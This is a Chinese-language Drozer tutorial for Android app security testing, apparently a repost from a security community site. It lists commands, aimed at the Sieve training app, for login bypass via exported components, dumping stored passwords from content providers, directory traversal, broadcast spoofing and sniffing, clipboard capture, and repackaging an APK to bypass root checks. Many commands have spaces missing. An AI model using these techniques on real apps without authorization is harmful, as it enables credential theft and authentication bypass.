使用Drozer安卓调试手册

简介: 使用Drozer安卓调试手册

原文首发

先知社区:https://xz.aliyun.com/t/10605

640.png

1、使用工具以及环境

Win10

夜神模拟器:

python2

adb

drozer

agent.apk

2、工具安装

Python2和adb需要设置环境变量

640.png

640.png

640.png

Drozer需安装在python2的Scripts目录下

 640.png

640.png

把agent.apk安装到模拟器下

 640.png

3、启动环境

打开agent.apk进行监听

640.png

640.png

使用命令adb devices找到我们的模拟器设备

640.png

(如果找不到设备,则需要在模拟器bin的目录下启动cmd)

因devices 31415端口,使用adb进行端口转发

adb forward tcp:31415 tcp:31415

 

 640.png

adb shell pm list package 查看所有包名

 640.png

启动

drozer console connect


640.png

set PYTHONIOENCODING=UTF-8

runapp.package.list

run app.package.list -f 包名

640.png

获取基本信息run app.package.info -a 包名

640.png

查看四大组件攻击面

640.png

利用暴露的activity实现登陆绕过

       首先使用drozdr检测app中暴露的activity

       run scanner.provider.finduris -a 包名,这里可以看到暴露的主件还是有不少:

       调用服务组件:run app.service.start --action 服务名 --component 包名 服务名

       调用activity组件:run app.activity.start --component 包名 组件名,可以用来检测登陆绕过漏洞

 640.png

检测注入 run scanner.provider.injection -acom.mwr.example.sieve

查看是否存在数据泄露 run  scanner.provider.finduris   -acom.xxx.xzxx  

检测目录遍历 run scanner.provider.traversal -acom.mwr.example.sieve

640.png

检测可以访问的URL:runscanner.provider.finduris -a 包名

查询URL的数据:runapp.provider.query url

检测有没有拒绝服务漏洞:

发送空action: run app.broadcast.send--component 包名 广播名

发送空extras: run app.broadcast.send--action 广播名

基本测试命令:

1.     查找已安装应用程序的包名称dz> runapp.package.list -f Sieve
2.     获取应用程序的清单dz> runapp.package.manifest com.mwr.example.sieve
3.     获取攻击面dz> runapp.package.attacksurface com.mwr.example.sieve
4.     检查导出的活动dz> runapp.activity.info -a com.mwr.example.sieve
5.     检查启动意图(主要活动) 
dz> runapp.package.launchintent com.mwr.example.sieve
6.     调用导出的活动 
dz> runapp.activity.start --component <package_name> <full_activity_name>
7.     检查导出的内容提供者 
dz> runapp.provider.info -a com.mwr.example.sieve
8.     查找内容 URI 
dz> runapp.provider.finduri com.mwr.example.sieve
9.     如果在导出的内容提供程序中找到了 URI 路径,则使用以下命令运行该路径以查找任何有用的数据,(在筛选中,所有密码都被转储) 
dz> runapp.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords
10.将条目插入内容提供商数据库 
dz> runapp.provider.insert content://com.mwr.example.sieve.DBContentProvider/Passwords--integer _id 3 --string service Facebook --string username tyrone --stringpassword zA76WR9mURDNNEw4TUiidVKRuKLEamg5h84T --string email tyrone@gmail.com
11.查找具有特定权限的应用 
dz> runapp.package.list -p android.permission.INSTALL_PACKAGES
12.查找使用特定 UID 运行的应用程序,在本例中为 System 
dz> runapp.package.list -u 1000
13.查找应用程序以查看特定的 MIME 类型 
dz> runapp.activity.forintent --action android.intent.action.VIEW --mimetypeapplication/pdf
14.查找设备上的所有可浏览活动 
dz> runscanner.activity.browsable

遍历

1.     使用内容提供程序读取外部文件 
dz> run app.provider.readcontent://com.mwr.example.sieve.FileBackupProvider/system/etc/hosts
2.     目录遍历以读取/sieve 中的数据库 
dz> run app.provider.readcontent://com.mwr.example.sieve.FileBackupProvider/../../../../data/data/com.mwr.example.sieve/databases/database.db>database.db
3.     自动化遍历 
dz> run scanner.provider.traversal -acontent://com.mwr.example.sieve.FileBackupProvider

利用服务

1.     获取服务 
dz> run app.service.info -a com.mwr.example.sieve
2.     利用sieve中的handleMessage()函数(AuthService服务的代码分析)dz> run app.service.send com.mwr.example.sievecom.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra stringcom.mwr.example.sieve.PIN 1337 --bundle-as-obj在上面的请求中,PIN 1337可以被暴力破解。请参阅 MAHH 第 211 页。
3.     利用 CryptoService 加密消息dz> run app.service.sendcom.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 3452 2 3--extra string com.mwr.example.sieve.KEY testpassword --extra stringcom.mwr.example.sieve.STRING "string to be encrypted" --bundle-as-obj

利用广播接收器

1.     获取广播接收器

dz> run app.broadcast.info -a com.mwr.example.browser

2.     如果应用程序希望广播接收器捕获意图,然后显示经过身份验证的活动,则只有在登录后才能生成该广播。但是在代码审查之后,攻击者可以使用 drozer 手动发送该意图。示例广播接收器:

<receiver android:name=".LoginReceiver"
android:exported="true">
<intent-filter>
<action android:name="com.myapp.CORRECT_CREDS" />
</intent-filter>
</receiver>
dz> run app.broadcast.send --actioncom.myapp.CORRECT_CREDS(第 217 页 - MAHH)

3. 使用广播接收器的意图嗅探/捕获意图,这些接收器用于其他广播接收器

dz> run app.broadcast.sniff --action android.intent.action.BATTERY_CHANGED 
dz> run app.broadcast.sniff --actioncom.myapp.USER_LOGIN(发送广播的动作名称)

杂项命令

1.     使用 drozer 模块查找 WebView 是否可利用

dz> run scanner.misc.checkjavascriptbridge -acom.vulnerable.js
操作:https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-代码执行/

2. 从剪贴板查看复制的文本

dz> run post.capture.clipboard

3.查看app是否允许备份数据


dz> run app.package.backup -f com.mwr.example.sieve

4. 确定一个包是否可调试

dz> run app.package.debuggable -f sieve如果它是可调试的,您可以作为该应用程序运行命令shell@android:/ $ run-as com.mwr.example.sieve

反编译/编译/签名apk

1. 使用 apktool 将应用程序转换为 baksmali 
$ java -jar apktool.jar d com.joeykrim.rootcheck.apkrootcheck
2. 然后 grep 像“su”这样的字符串绕过根检查(发挥你的创造力)
3. 再次编译应用程序:$ java -jar apktool.jar b rootcheck/ rootcheck-modified.apk
4. 签署 apk:$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1-keystoremykey.keystore rootcheck-modified.apk alias_name
注意:使用 jarsigner v1.6,更改版本为 
$ sudo update-alternatives --config jarsigner
相关文章
|
2月前
|
存储 Java Linux
Android Mstar增加IR 自定义遥控头码完整调试过程
Android Mstar增加IR 自定义遥控头码完整调试过程
50 1
|
28天前
|
安全 API Android开发
Android打开USB调试命令
【6月更文挑战第20天】
|
2月前
|
存储 定位技术 开发工具
Android 开发前的设计,Android之内存泄漏调试学习与总结
Android 开发前的设计,Android之内存泄漏调试学习与总结
|
2月前
|
Android开发 内存技术
Android 通过tinyalsa调试解决录制和播放音频问题
Android 通过tinyalsa调试解决录制和播放音频问题
91 1
|
2月前
|
安全 编译器 API
Android HAL深入探索(5): 调试HAL报错与解决方案
Android HAL深入探索(5): 调试HAL报错与解决方案
296 1
|
2月前
|
网络协议 Shell Android开发
Android 深入学习ADB调试原理(1)
Android 深入学习ADB调试原理(1)
96 1
|
2月前
|
安全 Java Shell
Android13 adb input 调试命令使用和源码解析
Android13 adb input 调试命令使用和源码解析
246 0
|
2月前
|
算法 架构师 程序员
android开发板调试,Android程序员的春天
android开发板调试,Android程序员的春天
|
2月前
|
Shell Android开发
Android Activity重写dump方法实现通过adb调试代码
Android Activity重写dump方法实现通过adb调试代码
34 0
|
2月前
|
Android开发
Android源代码定制:Overlay目录定制|调试Overlay资源是否生效
Android源代码定制:Overlay目录定制|调试Overlay资源是否生效
64 0